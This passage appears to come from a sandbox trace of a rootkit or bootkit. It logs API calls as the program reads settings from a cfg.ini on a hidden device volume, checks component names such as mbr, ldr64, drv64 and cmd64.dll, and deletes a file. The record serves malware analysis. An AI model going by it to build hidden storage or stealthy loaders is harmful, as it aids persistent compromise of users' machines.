ReleaseMutex (hMutex=0xf0) returned 1 [0125.993] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.993] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.993] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.994] KeEnterCriticalRegion () [0125.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.994] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.994] IdePortDispatch () returned 0x103 [0125.994] KeWaitForMutexObject () returned 0x0 [0125.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.994] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.994] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.994] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.994] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.994] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003713810 [0125.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.994] KeLeaveCriticalRegion () [0125.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.994] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.994] KeEnterCriticalRegion () [0125.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.994] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.994] KeLeaveCriticalRegion () [0125.994] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.994] KeEnterCriticalRegion () [0125.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.994] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.994] IdePortDispatch () returned 0x103 [0125.994] KeWaitForMutexObject () returned 0x0 [0125.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.995] KeLeaveCriticalRegion () [0125.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.995] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.995] KeEnterCriticalRegion () [0125.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d84000 [0125.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.995] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.995] IdePortDispatch () returned 0x103 [0125.995] KeWaitForMutexObject () returned 0x0 [0125.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.995] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.995] IdePortDispatch () returned 0x103 [0125.995] KeWaitForMutexObject () returned 0x0 [0125.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.996] KeLeaveCriticalRegion () [0125.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.996] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.996] KeEnterCriticalRegion () [0125.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.996] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.996] KeLeaveCriticalRegion () [0125.996] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.996] KeEnterCriticalRegion () [0125.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.996] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.996] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.996] KeLeaveCriticalRegion () [0125.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.996] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.996] KeEnterCriticalRegion () [0125.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.996] ExFreePoolWithTag (P=0xfffffa8003713810, Tag=0x0) [0125.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.996] KeLeaveCriticalRegion () [0125.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.996] ReleaseMutex (hMutex=0xf0) returned 1 [0125.997] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.997] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.997] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.997] KeEnterCriticalRegion () [0125.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.997] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.997] IdePortDispatch () returned 0x103 [0125.997] KeWaitForMutexObject () returned 0x0 [0125.997] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.997] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.997] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.997] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.997] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.997] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8e10 [0125.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.997] KeLeaveCriticalRegion () [0125.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.997] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.997] KeEnterCriticalRegion () [0125.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.997] KeLeaveCriticalRegion () [0125.997] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.997] KeEnterCriticalRegion () [0125.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.997] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.997] IdePortDispatch () returned 0x103 [0125.997] KeWaitForMutexObject () returned 0x0 [0125.998] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.998] KeLeaveCriticalRegion () [0125.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.998] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.998] KeEnterCriticalRegion () [0125.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.998] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d85000 [0125.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.998] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.998] IdePortDispatch () returned 0x103 [0125.998] KeWaitForMutexObject () returned 0x0 [0125.998] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.998] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.998] IdePortDispatch () returned 0x103 [0125.998] KeWaitForMutexObject () returned 0x0 [0125.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.998] KeLeaveCriticalRegion () [0125.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.999] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.999] KeEnterCriticalRegion () [0125.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.999] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.999] KeLeaveCriticalRegion () [0125.999] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.999] KeEnterCriticalRegion () [0125.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.999] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.999] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.999] KeLeaveCriticalRegion () [0125.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.999] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.999] KeEnterCriticalRegion () [0125.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.999] ExFreePoolWithTag (P=0xfffffa8003ac8e10, Tag=0x0) [0125.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.999] KeLeaveCriticalRegion () [0125.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.999] ReleaseMutex (hMutex=0xf0) returned 1 [0125.999] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.999] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.999] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.999] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.000] KeEnterCriticalRegion () [0126.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.000] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.000] IdePortDispatch () returned 0x103 [0126.000] KeWaitForMutexObject () returned 0x0 [0126.000] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.000] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.000] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.000] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.000] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.000] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.000] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.000] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.000] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.000] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.000] KeLeaveCriticalRegion () [0126.000] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.000] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.000] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.000] KeEnterCriticalRegion () [0126.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.000] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.000] IdePortDispatch () returned 0x103 [0126.001] KeWaitForMutexObject () returned 0x0 [0126.001] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.001] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.001] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.001] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.001] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.001] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.001] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.001] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.001] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.001] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.001] KeLeaveCriticalRegion () [0126.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.001] ReleaseMutex (hMutex=0x100) returned 1 [0126.001] Sleep (dwMilliseconds=0x2bf20) [0126.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e4ebb10, dwHighDateTime=0x1d24fa4)) [0126.009] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.009] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.009] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.009] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.009] KeEnterCriticalRegion () [0126.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.009] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.009] IdePortDispatch () returned 0x103 [0126.009] KeWaitForMutexObject () returned 0x0 [0126.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.009] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.009] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.009] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.009] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.009] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8e10 [0126.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.009] KeLeaveCriticalRegion () [0126.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.009] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.009] KeEnterCriticalRegion () [0126.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.009] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.009] KeLeaveCriticalRegion () [0126.010] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.010] KeEnterCriticalRegion () [0126.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.010] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.010] IdePortDispatch () returned 0x103 [0126.010] KeWaitForMutexObject () returned 0x0 [0126.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.010] KeLeaveCriticalRegion () [0126.010] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.010] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.010] KeEnterCriticalRegion () [0126.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d88000 [0126.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, 